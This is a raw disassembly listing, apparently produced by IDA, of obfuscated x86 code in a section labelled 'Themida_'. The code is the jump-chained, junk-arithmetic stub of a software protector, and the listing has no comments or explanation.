loc_598B46: ; CODE XREF: Themida_:00598EC8j
add eax, 1CAE68F0h
add eax, esi
push ebp
mov ebp, 1CAE68F0h
jmp loc_5A3E36
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_5902C1
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_596CE3
; ---------------------------------------------------------------------------
loc_598B69: ; CODE XREF: Themida_:00598638j
pop esi
pop edi
add esi, ecx
pop ecx
push ebx
mov ebx, 75332B9Eh
xor esi, ebx
mov ebx, [esp]
jmp loc_59F22B
; ---------------------------------------------------------------------------
loc_598B7E: ; CODE XREF: Themida_:005A1433j
shr al, 7
or al, 50h
shr al, 7
shr al, 1
add al, 0B0h
or bh, al
mov eax, [esp]
add esp, 4
sub bh, 0FFh
push dx
mov dl, 2Bh
add bh, dl
pop dx
dec bh
push edx
mov dh, 0ABh
xor bh, dh
jmp loc_5999AD
; ---------------------------------------------------------------------------
loc_598BA9: ; CODE XREF: Themida_:00590DABj
sub ebx, 52695ED8h
xor ebx, 24362ECDh
push edi
jmp loc_5963DC
; ---------------------------------------------------------------------------
loc_598BBB: ; CODE XREF: Themida_:005A4CC3j
mov eax, 4
jmp loc_5929B4
; ---------------------------------------------------------------------------
loc_598BC5: ; CODE XREF: Themida_:0059F157j
pop ebp
inc di
shl di, 1
sub di, 237Ch
or di, 4C77h
sub di, 0CB0Ch
jmp loc_590E15
; ---------------------------------------------------------------------------
loc_598BDF: ; CODE XREF: Themida_:005A1F2Dj
pop eax
xor edi, ecx
pop ecx
sub edx, 4A45411Dh
add edx, edi
jmp loc_59CB7F
; ---------------------------------------------------------------------------
loc_598BF0: ; CODE XREF: Themida_:0059CDE2j
push ecx
pushf
jmp loc_5A54DE
; ---------------------------------------------------------------------------
loc_598BF7: ; CODE XREF: Themida_:00590F65j
sub esp, 4
mov [esp], esp
jmp loc_59C2F5
; ---------------------------------------------------------------------------
loc_598C05: ; CODE XREF: Themida_:0059890Fj
mov [esp], ebp
push 9C56F2Dh
pop ebp
neg ebp
jmp loc_5A21CE
; ---------------------------------------------------------------------------
loc_598C15: ; CODE XREF: Themida_:0059C8B5j
add eax, ecx
pop ecx
push ebx
jmp loc_5A1DB5
; ---------------------------------------------------------------------------
loc_598C1E: ; CODE XREF: Themida_:0059DED8j
shl dl, 4
jmp loc_5A0AC1
; ---------------------------------------------------------------------------
loc_598C26: ; CODE XREF: Themida_:005A04A0j
dec cl
jmp loc_59D1C3
; ---------------------------------------------------------------------------
loc_598C2D: ; CODE XREF: Themida_:00594BD1j
mov [esp], edx
push esi
mov esi, 654275DEh
push ebp
jmp loc_59C892
; ---------------------------------------------------------------------------
loc_598C3C: ; CODE XREF: Themida_:005950D2j
pop edi
shl edx, 6
sub edx, 0FFFFFFFFh
shr edx, 6
jmp loc_593860
; ---------------------------------------------------------------------------
loc_598C4B: ; CODE XREF: Themida_:005A36DDj
mov ecx, 46E54782h
not ecx
jmp loc_592F13
; ---------------------------------------------------------------------------
loc_598C57: ; CODE XREF: Themida_:00594B75j
push edi
jmp loc_597994
; ---------------------------------------------------------------------------
loc_598C5D: ; CODE XREF: Themida_:0059C433j
xchg eax, ebp
not eax
xchg eax, ebp
sub ebp, 0C2F0E5h
sub edi, ebp
pop ebp
jmp loc_59BFDB
; ---------------------------------------------------------------------------
loc_598C6F: ; CODE XREF: Themida_:0059C44Dj
add edi, 4
push 5C4Dh
jmp loc_5A258D
; ---------------------------------------------------------------------------
loc_598C7F: ; CODE XREF: Themida_:0059D8D8j
sub edx, 30FA5D34h
pop ebx
push 2121h
mov [esp], ebp
push esp
jmp loc_593E13
; ---------------------------------------------------------------------------
loc_598C94: ; CODE XREF: Themida_:005970F8j
add ebx, ecx
push edi
jmp loc_59952D
; ---------------------------------------------------------------------------
loc_598C9C: ; CODE XREF: Themida_:0059CE95j
mov [esp], edx
push 4EBCh
mov [esp], esp
jmp loc_5A3B88
; ---------------------------------------------------------------------------
loc_598CAC: ; CODE XREF: Themida_:0059AACBj
add esp, 4
shr ch, 4
push edx
mov dl, 2Ch
or ch, dl
pop edx
push bx
mov bl, 0C7h
and ch, bl
pop bx
push dx
jmp loc_5A4285
; ---------------------------------------------------------------------------
loc_598CC7: ; CODE XREF: Themida_:00591A30j
push edx
mov edx, 6E993F3Bh
mov ebp, edx
pop edx
mov ecx, ebp
pop ebp
add ebx, 64E97291h
add ebx, ecx
sub ebx, 64E97291h
jmp loc_59893F
; ---------------------------------------------------------------------------
loc_598CE6: ; CODE XREF: Themida_:00592F50j
add eax, 249819DAh
pop ebx
sub eax, 0FFFFFFFFh
dec eax
sub eax, 29D57482h
xor eax, 6CD3F51Fh
jmp loc_59EAF5
; ---------------------------------------------------------------------------
db 0ACh
dd offset dword_455248+14020h
dd 240C8900h, 0FFD44FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_598D0D: ; CODE XREF: Themida_:00592B85j
mov edi, [esp]
add esp, 4
inc esi
shl esi, 5
xor esi, 5AFF29D4h
jmp loc_597BFD
; ---------------------------------------------------------------------------
loc_598D25: ; CODE XREF: Themida_:0059D346j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A23F4
; ---------------------------------------------------------------------------
loc_598D36: ; CODE XREF: Themida_:00592127j
mov ebx, eax
pop eax
push ebx
pop ecx
pop ebx
sub edi, 4E9F711Bh
push ebp
jmp loc_596C88
; ---------------------------------------------------------------------------
loc_598D48: ; CODE XREF: Themida_:005A3AFEj
inc eax
jmp loc_5A507A
; ---------------------------------------------------------------------------
loc_598D4E: ; CODE XREF: Themida_:0059FDF1j
push esp
pop ebx
add ebx, 4
push eax
jmp loc_591A35
; ---------------------------------------------------------------------------
loc_598D5C: ; CODE XREF: Themida_:005939BEj
pop esp
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
jmp loc_5A15F0
; ---------------------------------------------------------------------------
loc_598D71: ; CODE XREF: Themida_:0059535Ej
pop ebx
xchg ebx, edi
dec edi
add edi, 3FAD15B0h
xor edi, 0D30FC7A8h
sub eax, edi
mov edi, [esp]
add esp, 4
pop ebp
xor ebx, eax
pop small word ptr [eax]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_598D97: ; CODE XREF: Themida_:0059AFD4j
shl ebp, 2
xor ebp, 0FB5FFF78h
jmp loc_590F28
; ---------------------------------------------------------------------------
loc_598DA5: ; CODE XREF: Themida_:005A0BA5j
push ebp
jmp loc_5926C1
; ---------------------------------------------------------------------------
loc_598DAB: ; CODE XREF: Themida_:005A4C1Dj
xor ebx, 596D7E3Eh
inc ebx
not ebx
and ebx, 57724D1h
jmp loc_59DB7F
; ---------------------------------------------------------------------------
loc_598DBF: ; CODE XREF: Themida_:0059D59Ej
xor ebp, edx
pop edx
jmp loc_591F63
; ---------------------------------------------------------------------------
loc_598DC7: ; CODE XREF: Themida_:0059078Cj
add ebx, 1601C13h
add ebx, edi
sub ebx, 1601C13h
jmp loc_5A1964
; ---------------------------------------------------------------------------
loc_598DDA: ; CODE XREF: Themida_:0059E873j
add ebx, 4
jmp loc_59D6CA
; ---------------------------------------------------------------------------
loc_598DE2: ; CODE XREF: Themida_:005A4FCBj
sub ecx, 1EAF1EE3h
and ecx, 6A5A2E72h
jmp loc_59D2DF
; ---------------------------------------------------------------------------
loc_598DF3: ; CODE XREF: Themida_:00590CB6j
or bl, 0Ch
dec bl
add bl, 12h
push edx
mov dh, 0A7h
jmp loc_597AA6
; ---------------------------------------------------------------------------
loc_598E03: ; CODE XREF: Themida_:0059114Fj
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
push edx
mov edx, 3CDF06A1h
mov ebp, 3CDF06A5h
xor ebp, edx
pop edx
jmp loc_5969EA
; ---------------------------------------------------------------------------
loc_598E20: ; CODE XREF: Themida_:00594E2Cj
add edx, ecx
pop ecx
xchg edx, [esp]
mov esp, [esp]
push 5484h
mov [esp], ecx
jmp loc_598B25
; ---------------------------------------------------------------------------
loc_598E36: ; CODE XREF: Themida_:0059BF56j
add ebx, 6AFB55E2h
add ebx, 524D8037h
xor ebp, ebx
pop ebx
jmp loc_5941A7
; ---------------------------------------------------------------------------
loc_598E4A: ; CODE XREF: Themida_:005936EBj
push ebp
jmp loc_5A1E06
; ---------------------------------------------------------------------------
loc_598E50: ; CODE XREF: Themida_:005A2234j
push ebx
sub esp, 4
jmp loc_5A19E2
; ---------------------------------------------------------------------------
loc_598E5C: ; CODE XREF: Themida_:00598079j
xor ebp, 47C69D3Fh
sub edi, ebp
pop ebp
jmp loc_5A4235
; ---------------------------------------------------------------------------
lodsw
xor ax, bx
push 1CA1h
mov [esp], ebx
mov ebx, esp
jmp loc_596700
; ---------------------------------------------------------------------------
loc_598E7E: ; CODE XREF: Themida_:005A367Fj
push esp
pop ebp
sub esp, 4
mov [esp], esi
mov esi, 4
add ebp, esi
mov esi, [esp]
add esp, 4
jmp loc_598ED5
; ---------------------------------------------------------------------------
loc_598E9E: ; CODE XREF: Themida_:0059E31Dj
pop ecx
mov dh, bl
mov ebx, [esp]
add esp, 4
jmp loc_59BA60
; ---------------------------------------------------------------------------
loc_598EAF: ; CODE XREF: Themida_:0059C3D4j
add al, bl
jmp loc_594B98
; ---------------------------------------------------------------------------
loc_598EB6: ; CODE XREF: Themida_:0059DFB1j
mov [esp], eax
mov eax, esp
push 1680h
mov [esp], esi
mov esi, 4
jmp loc_598B46
; ---------------------------------------------------------------------------
sub esp, 4
jmp loc_59BD14
; ---------------------------------------------------------------------------
loc_598ED5: ; CODE XREF: Themida_:00598E99j
sub ebp, 4
xor ebp, [esp]
jmp loc_5A271D
; ---------------------------------------------------------------------------
loc_598EE3: ; CODE XREF: Themida_:005971E1j
xor ebx, 7E537D50h
sub edi, 0C4D1CC1h
sub edi, ebx
add edi, 0C4D1CC1h
pop ebx
and eax, edi
jmp loc_59FC6D
; ---------------------------------------------------------------------------
loc_598EFF: ; CODE XREF: Themida_:0059F570j
mov ebx, [esp]
add esp, 4
jmp loc_59D287
; ---------------------------------------------------------------------------
loc_598F0D: ; CODE XREF: Themida_:005912D5j
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
push esp
jmp loc_5921F9
; ---------------------------------------------------------------------------
loc_598F27: ; CODE XREF: Themida_:0059AC5Dj
push ecx
mov ecx, 0D10565Bh
mov edx, ecx
pop ecx
jmp loc_592205
; ---------------------------------------------------------------------------
loc_598F35: ; CODE XREF: Themida_:0059DB23j
sub ebx, 5FB106CDh
xor ebx, 28F3340Ah
xor ebx, 1BC56D46h
or edi, ebx
pop ebx
add edi, 2D67C016h
and ecx, edi
jmp loc_5A0A6B
; ---------------------------------------------------------------------------
loc_598F57: ; CODE XREF: Themida_:005A3810j
mov ecx, esp
push ebx
mov ebx, 4EAD0EA8h
inc ebx
shr ebx, 7
jmp loc_591663
; ---------------------------------------------------------------------------
loc_598F68: ; CODE XREF: Themida_:005A4950j
sub dword ptr [esp+4], 2A460F2Bh
push dword ptr [esp]
mov esi, [esp]
jmp loc_599E57
; ---------------------------------------------------------------------------
loc_598F7B: ; CODE XREF: Themida_:00597538j
sub ebp, 47C50260h
jmp loc_59E69D
; ---------------------------------------------------------------------------
loc_598F86: ; CODE XREF: Themida_:00592091j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_5945CB
; ---------------------------------------------------------------------------
loc_598F97: ; CODE XREF: Themida_:0059BD9Dj
xchg esi, [esp]
mov esp, [esp]
push 56D9h
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push 11F2h
jmp loc_594C3F
; ---------------------------------------------------------------------------
loc_598FB7: ; CODE XREF: Themida_:0059A045j
mov eax, [esp]
push esi
push esp
jmp loc_599B2A
; ---------------------------------------------------------------------------
loc_598FC1: ; CODE XREF: Themida_:0059160Bj
pop edi
add esi, 0C434DC9h
and esi, 382B6BF2h
add esi, 1
jmp loc_594B5E
; ---------------------------------------------------------------------------
loc_598FD9: ; CODE XREF: Themida_:00594B59j
pop ebx
pop ebp
sub esp, 4
jmp loc_5997C5
; ---------------------------------------------------------------------------
loc_598FE3: ; CODE XREF: Themida_:00599AE1j
push dword ptr [esp]
pop esi
jmp loc_5A2613
; ---------------------------------------------------------------------------
loc_598FEC: ; CODE XREF: Themida_:00598862j
mov [esp], ebp
mov ebp, 4
jmp loc_5A272F
; ---------------------------------------------------------------------------
loc_598FF9: ; CODE XREF: Themida_:005958D1j
mov esi, 4878C45Eh
xor eax, esi
jmp loc_5A2FD2
; ---------------------------------------------------------------------------
loc_599005: ; CODE XREF: Themida_:00593467j
add ebx, 612D50A1h
not ebx
xor ebx, 94CB9575h
add esi, ebx
mov ebx, [esp]
jmp loc_59773A
; ---------------------------------------------------------------------------
loc_59901D: ; CODE XREF: Themida_:00591197j
add esp, 4
jmp loc_595E41
; ---------------------------------------------------------------------------
loc_599028: ; CODE XREF: Themida_:0059EA97j
pop eax
or eax, 72D2EA4h
add eax, 0E704F42Bh
mov esi, eax
jmp loc_5A3821
; ---------------------------------------------------------------------------
loc_59903A: ; CODE XREF: Themida_:00591FE6j
mov [esp], ebp
mov ebp, 2
add edi, ebp
mov ebp, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59458B
; ---------------------------------------------------------------------------
loc_59905B: ; CODE XREF: Themida_:005A54CEj
sub ebx, ebp
sub ebx, 9373774h
jmp loc_59F245
; ---------------------------------------------------------------------------
loc_599068: ; CODE XREF: Themida_:005A289Bj
push esp
pop edx
push 3FA7h
mov [esp], ebx
push edx
mov edx, 379815A4h
push 92Ch
mov [esp], edi
mov edi, 53AD33FEh
xor edi, 0B5971C30h
jmp loc_5A0B40
; ---------------------------------------------------------------------------
loc_599090: ; CODE XREF: Themida_:0059C470j
pop edx
pop dword ptr [esp]
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5990A0: ; CODE XREF: Themida_:005A0C97j
mov dl, 50h
sub dl, bl
jmp loc_599250
; ---------------------------------------------------------------------------
loc_5990A9: ; CODE XREF: Themida_:005A47CEj
push ecx
mov ecx, 2BC8083Dh
mov eax, ecx
pop ecx
xor ecx, eax
mov eax, [esp]
add esp, 4
add edi, ecx
jmp loc_59AFFC
; ---------------------------------------------------------------------------
loc_5990C1: ; CODE XREF: Themida_:005911EBj
push edx
mov edx, esp
jmp loc_5A206F
; ---------------------------------------------------------------------------
loc_5990C9: ; CODE XREF: Themida_:0059E4C7j
shr edi, 5
jmp loc_59EACF
; ---------------------------------------------------------------------------
loc_5990D1: ; CODE XREF: Themida_:005A3FF9j
push ecx
push eax
jmp loc_5A20F6
; ---------------------------------------------------------------------------
loc_5990D8: ; CODE XREF: Themida_:00598022j
push 5990h
jmp loc_591764
; ---------------------------------------------------------------------------
loc_5990E2: ; CODE XREF: Themida_:005A3C76j
push 24C66A79h
pop edi
dec edi
inc edi
sub edi, 17CC4432h
mov eax, edi
pop edi
push edi
push ebx
mov ebx, eax
mov edi, ebx
pop ebx
mov ecx, edi
jmp loc_5940F2
; ---------------------------------------------------------------------------
loc_599101: ; CODE XREF: Themida_:00593593j
xchg ebp, [esp]
mov esp, [esp]
push edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
push esi
mov esi, esp
jmp loc_5A3466
; ---------------------------------------------------------------------------
loc_599118: ; CODE XREF: Themida_:0059EBB2j
push eax
mov al, ch
mov bh, al
pop eax
jmp loc_5A2AF6
; ---------------------------------------------------------------------------
loc_599123: ; CODE XREF: Themida_:0059AB21j
add edx, 0FFFFFFFFh
push 0
jmp loc_594AD9
; ---------------------------------------------------------------------------
loc_599130: ; CODE XREF: Themida_:0059A5F8j
pop edx
add ebp, ecx
add ebp, 0B9C63E1h
mov ecx, [esp]
add esp, 4
jmp loc_5926D1
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push 6746h
mov [esp], eax
push edx
push 20022F55h
jmp loc_593144
; ---------------------------------------------------------------------------
loc_59915D: ; CODE XREF: Themida_:00593D7Aj
pop esp
push 6318h
mov [esp], edi
push esp
pop edi
push ebx
jmp loc_59F6B2
; ---------------------------------------------------------------------------
loc_59916E: ; CODE XREF: Themida_:005A0F72j
pop eax
add esp, 4
mov ebp, [esp]
push eax
mov eax, esp
push ebp
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esi
mov esi, 3FD7175h
shr esi, 1
jmp loc_5A50E2
; ---------------------------------------------------------------------------
loc_599194: ; CODE XREF: Themida_:005A35D5j
push edx
push ebx
jmp loc_596BE7
; ---------------------------------------------------------------------------
loc_59919B: ; CODE XREF: Themida_:0059DE6Ej
push 603E4A4Bh
jmp loc_5913EA
; ---------------------------------------------------------------------------
loc_5991A5: ; CODE XREF: Themida_:005A2038j
sub ebx, edx
pop edx
push ebx
add dword ptr [esp], 3B0D3506h
pop ecx
sub ecx, 3B0D3506h
mov ebx, [esp]
add esp, 4
jmp loc_591B0D
; ---------------------------------------------------------------------------
loc_5991C2: ; CODE XREF: Themida_:005923C4j
sub ecx, 1C465924h
sub ecx, 4F3D4A6Fh
add ecx, eax
jmp loc_5A0D17
; ---------------------------------------------------------------------------
loc_5991D5: ; CODE XREF: Themida_:005946D8j
pop edi
add esi, 311353EAh
sub esi, ecx
sub esi, 311353EAh
push eax
jmp loc_598477
; ---------------------------------------------------------------------------
loc_5991EA: ; CODE XREF: Themida_:0059553Bj
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 216Ch
jmp loc_59F93D
; ---------------------------------------------------------------------------
loc_599207: ; CODE XREF: Themida_:005A0F4Cj
add ecx, 0C47A0E4Ch
add ebp, ecx
pop ecx
push 6B44h
mov [esp], eax
mov eax, 4
sub ebp, eax
mov eax, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_5A3E45
; ---------------------------------------------------------------------------
loc_599234: ; CODE XREF: Themida_:005A1BCEj
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push esp
mov esi, [esp]
push eax
mov eax, esp
jmp loc_59650B
; ---------------------------------------------------------------------------
loc_599250: ; CODE XREF: Themida_:005990A4j
pop ebx
sub al, dl
mov dx, [esp]
add esp, 2
jmp loc_59FA06
; ---------------------------------------------------------------------------
loc_59925F: ; CODE XREF: Themida_:005A4ED3j
push edx
mov edx, 1558438Bh
add edx, 2B1270EBh
jmp loc_59DD3F
; ---------------------------------------------------------------------------
loc_599270: ; CODE XREF: Themida_:0059BF13j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_594C4A
; ---------------------------------------------------------------------------
loc_599287: ; CODE XREF: Themida_:005932F7j
add ecx, 1
sub ecx, 60981BCBh
add edx, ecx
pop ecx
xchg edx, [esp]
pop esp
jmp loc_59A60A
; ---------------------------------------------------------------------------
push ebp
push 4BBBh
mov [esp], edx
mov edx, esp
add edx, 4
push eax
push ecx
push 405F15E1h
pop ecx
add ecx, 1
and ecx, 237010BEh
xor ecx, 5010A6h
jmp loc_5A1B69
; ---------------------------------------------------------------------------
loc_5992CF: ; CODE XREF: Themida_:0059C7DDj
push edx
mov edx, esp
add edx, 4
push esi
push edx
mov edx, 57586FB9h
mov esi, 57586FBDh
add esi, 2FFF235Eh
sub esi, edx
sub esi, 2FFF235Eh
pop edx
jmp loc_599E5D
; ---------------------------------------------------------------------------
loc_5992F8: ; CODE XREF: Themida_:0059F0B3j
push 73AAh
mov [esp], edi
mov edi, 64820D05h
add ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 64E45D6h
push dword ptr [esp]
pop ebx
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_59B4BD
; ---------------------------------------------------------------------------
loc_59932B: ; CODE XREF: Themida_:005965B4j
mov ebx, [esp]
add esp, 4
jmp loc_5995F3
; ---------------------------------------------------------------------------
loc_599339: ; CODE XREF: Themida_:005A2F53j
push ebx
mov ebx, 796E49FDh
jmp loc_5A2B96
; ---------------------------------------------------------------------------
loc_599344: ; CODE XREF: Themida_:005967D7j
push ecx
mov ecx, esp
jmp loc_593F1A
; ---------------------------------------------------------------------------
loc_59934C: ; CODE XREF: Themida_:005962CEj
add edx, 5D330264h
pop ecx
mov edi, edx
pop edx
jmp loc_5A424E
; ---------------------------------------------------------------------------
loc_59935B: ; CODE XREF: Themida_:00594586j
push eax
jmp loc_59E2E0
; ---------------------------------------------------------------------------
loc_599361: ; CODE XREF: Themida_:005913FFj
add edx, ebp
push ebx
jmp loc_5955FA
; ---------------------------------------------------------------------------
loc_599369: ; CODE XREF: Themida_:005A4F03j
xor edi, 3B4D6D1Eh
sub ebp, 7A45758h
jmp loc_59E1AC
; ---------------------------------------------------------------------------
loc_59937A: ; CODE XREF: Themida_:005A3925j
pop ebx
mov edx, [esp]
jmp loc_594269
; ---------------------------------------------------------------------------
loc_599383: ; CODE XREF: Themida_:005A4263j
sub ebx, 729F7AFEh
sub ebx, 3E7799Bh
sub ebx, 3EA50B79h
sub ebx, eax
add ebx, 3EA50B79h
add ebx, 3E7799Bh
push 27ADh
mov [esp], edx
jmp loc_59FCCE
; ---------------------------------------------------------------------------
loc_5993B0: ; CODE XREF: Themida_:005A4768j
pop esp
jmp loc_5A1B53
; ---------------------------------------------------------------------------
loc_5993B6: ; CODE XREF: Themida_:005A3013j
xor ebx, 0BA061791h
and eax, ebx
push dword ptr [esp]
jmp loc_594764
; ---------------------------------------------------------------------------
loc_5993C6: ; CODE XREF: Themida_:005A1B8Dj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5993CB: ; CODE XREF: Themida_:00596220j
xor ebx, 5763702Bh
push ebp
mov ebp, 4F549C44h
jmp loc_59E28F
; ---------------------------------------------------------------------------
loc_5993DC: ; CODE XREF: Themida_:00592883j
pop edx
add esp, 4
jmp loc_591FE0
; ---------------------------------------------------------------------------
loc_5993E5: ; CODE XREF: Themida_:005A23A2j
movzx eax, ax
push ecx
sub esp, 4
jmp loc_5A52BC
; ---------------------------------------------------------------------------
loc_5993F1: ; CODE XREF: Themida_:005A03D5j
neg edi
xor edi, 0EDD27A18h
sub ebx, edi
pop edi
jmp loc_59E686
; ---------------------------------------------------------------------------
loc_599401: ; CODE XREF: Themida_:0059DC2Ej
sub dword ptr [esp+4], 28434C9Bh
jmp loc_5A4EEF
; ---------------------------------------------------------------------------
loc_59940E: ; CODE XREF: Themida_:00595533j
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
div ecx
push 6B37h
mov [esp], edx
push eax
pushf
jmp loc_593AF2
; ---------------------------------------------------------------------------
loc_599428: ; CODE XREF: Themida_:00599920j
add ebx, 2
push ebx
push dword ptr [esp+4]
jmp loc_5A4968
; ---------------------------------------------------------------------------
loc_599438: ; CODE XREF: Themida_:005964D0j
pop ebp
jmp loc_59261A
; ---------------------------------------------------------------------------
loc_59943E: ; CODE XREF: Themida_:00597392j
push esp
pop ebp
push esi
push ebx
push esi
mov esi, 5DDB4D99h
jmp loc_59842B
; ---------------------------------------------------------------------------
loc_59944D: ; CODE XREF: Themida_:00596318j
dec ebp
sub ebp, 0D62A0CFAh
or eax, ebp
jmp loc_5A4FA3
; ---------------------------------------------------------------------------
loc_59945B: ; CODE XREF: Themida_:0059D406j
pop ecx
push ebx
mov ebx, 4E340968h
shr ebx, 5
shl ebx, 3
or ebx, 50437714h
shr ebx, 3
jmp loc_5A3E74
; ---------------------------------------------------------------------------
loc_599476: ; CODE XREF: Themida_:0059BFF1j
xor ebp, 0E7FF20DCh
sub ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_599808
; ---------------------------------------------------------------------------
loc_599489: ; CODE XREF: Themida_:005934B1j
add eax, esi
sub eax, 0DB31D24h
sub eax, 5ABF2D60h
mov esi, [esp]
jmp loc_5A1172
; ---------------------------------------------------------------------------
loc_59949D: ; CODE XREF: Themida_:0059BEA7j
xchg eax, ebx
jmp loc_593EDD
; ---------------------------------------------------------------------------
loc_5994A3: ; CODE XREF: Themida_:005A0A7Cj
mov ecx, 25CE4A7Dh
dec ecx
push ebx
jmp loc_591A80
; ---------------------------------------------------------------------------
loc_5994AF: ; CODE XREF: Themida_:0059E765j
mov edx, 8481BDCh
sub esi, 66E43CE2h
sub esi, edx
add esi, 66E43CE2h
mov edx, [esp]
jmp loc_599E27
; ---------------------------------------------------------------------------
loc_5994CA: ; CODE XREF: Themida_:005925D3j
pop esp
jmp loc_59C7D7
; ---------------------------------------------------------------------------
loc_5994D0: ; CODE XREF: Themida_:005A48CDj
mov edx, [esp]
add esp, 4
xor al, bl
mov ebx, [esp]
add esp, 4
xor bl, al
movzx eax, al
push ebx
push esp
mov ebx, [esp]
push ebp
push 322Dh
push esp
pop dword ptr [esp]
push edi
jmp loc_59BD0A
; ---------------------------------------------------------------------------
loc_5994FB: ; CODE XREF: Themida_:005917C2j
mov eax, [esp]
add esp, 4
and eax, 2410646Eh
inc eax
not eax
inc eax
xor eax, 0DE12D06Fh
xor ebp, eax
pop eax
inc ebp
xor ebp, 345F31C0h
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_597939
; ---------------------------------------------------------------------------
loc_59952D: ; CODE XREF: Themida_:00598C97j
mov edi, 37DC00B0h
add ebx, edi
pop edi
mov ecx, [esp]
add esp, 4
jmp loc_597269
; ---------------------------------------------------------------------------
loc_599543: ; CODE XREF: Themida_:005A1AFDj
push dword ptr [esp]
mov ebx, [esp]
jmp loc_59C543
; ---------------------------------------------------------------------------
loc_59954E: ; CODE XREF: Themida_:0059E535j
add ebp, 3271C24h
add ebp, esi
sub ebp, 3271C24h
jmp loc_59C771
; ---------------------------------------------------------------------------
loc_599561: ; CODE XREF: Themida_:00592265j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_599566: ; CODE XREF: Themida_:005A484Fj
mov [esp], edx
jmp loc_5954AB
; ---------------------------------------------------------------------------
loc_59956E: ; CODE XREF: Themida_:005A272Aj
mov ch, 0B9h
neg ch
sub ch, 0C1h
push edx
mov dl, 0A8h
not dl
shl dl, 6
xor dl, 0BEh
or ch, dl
pop edx
not ch
and ch, 3Fh
push ebx
mov bl, 82h
jmp loc_595E0D
; ---------------------------------------------------------------------------
loc_599590: ; CODE XREF: Themida_:0059CF7Cj
pop edx
add esp, 4
jmp loc_5A2835
; ---------------------------------------------------------------------------
loc_59959C: ; CODE XREF: Themida_:005A3328j
mov edx, 19074135h
jmp loc_592D33
; ---------------------------------------------------------------------------
loc_5995A6: ; CODE XREF: Themida_:0059B7A3j
and edx, 25B80F69h
neg edx
add edx, 796E1890h
xor edx, 78E6106Ch
jmp loc_596ABD
; ---------------------------------------------------------------------------
loc_5995BF: ; CODE XREF: Themida_:0059E8C0j
pop edi
xchg ecx, [esp]
pop esp
xor eax, edx
xor edx, eax
xor eax, edx
xor [esp], eax
xor eax, [esp]
xor [esp], eax
jmp loc_594CB4
; ---------------------------------------------------------------------------
loc_5995D8: ; CODE XREF: Themida_:0059388Dj
shl ecx, 7
push edx
mov edx, 66AD6BA3h
jmp loc_59AD0C
; ---------------------------------------------------------------------------
loc_5995E6: ; CODE XREF: Themida_:005A4D22j
mov dh, 13h
or bh, dh
pop edx
shl bh, 5
jmp loc_59B7C8
; ---------------------------------------------------------------------------
loc_5995F3: ; CODE XREF: Themida_:00599334j
and ecx, 64D83598h
shl ecx, 5
inc ecx
push 7E6Ah
jmp loc_59A6E0
; ---------------------------------------------------------------------------
loc_599607: ; CODE XREF: Themida_:0059A4DEj
mov cx, [esp]
add esp, 2
sub bl, 9Eh
sub esp, 2
mov [esp], cx
mov ch, 83h
add bl, 0
sub bl, ch
sub bl, 0
mov cx, [esp]
jmp loc_59CC72
; ---------------------------------------------------------------------------
loc_59962E: ; CODE XREF: Themida_:0059FA59j
add edi, 0BB96872h
mov esi, edi
pop edi
xor esi, 2D21629Ah
sub esi, 3F010D36h
push edx
mov edx, 0FFFFFFFFh
jmp loc_59B5AA
; ---------------------------------------------------------------------------
loc_59964E: ; CODE XREF: Themida_:005A4B3Dj
pop edi
add edx, ecx
jmp loc_59A834
; ---------------------------------------------------------------------------
loc_599656: ; CODE XREF: Themida_:005908F4j
add ebx, 2A9A4681h
push eax
jmp loc_59C395
; ---------------------------------------------------------------------------
loc_599662: ; CODE XREF: Themida_:005A531Aj
pop edi
add edi, 4
jmp loc_59C274
; ---------------------------------------------------------------------------
loc_59966E: ; CODE XREF: Themida_:0059FC3Aj
mov ecx, 2AA30140h
add ebx, ecx
jmp loc_5963AD
; ---------------------------------------------------------------------------
loc_59967A: ; CODE XREF: Themida_:0059C353j
sub edx, 218D2EF9h
pop eax
xchg ebx, edx
neg ebx
xchg ebx, edx
add edx, 0FFFFFFFFh
push ecx
mov ecx, 37065B03h
add ecx, 595376FAh
and ecx, 47932204h
sub ecx, 43EF417Eh
sub edx, ecx
pop ecx
add ebp, edx
mov edx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
jmp loc_591BDA
; ---------------------------------------------------------------------------
loc_5996BA: ; CODE XREF: Themida_:00596DBEj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5996BF: ; CODE XREF: Themida_:00596E23j
sub edx, eax
jmp loc_599DB2
; ---------------------------------------------------------------------------
loc_5996C6: ; CODE XREF: Themida_:00595E16j
push eax
mov al, ch
mov dl, al
mov eax, [esp]
push edi
mov edi, esp
push ebp
mov ebp, 7FAB488Eh
not ebp
inc ebp
and ebp, 30B77FF8h
jmp loc_5A0CEF
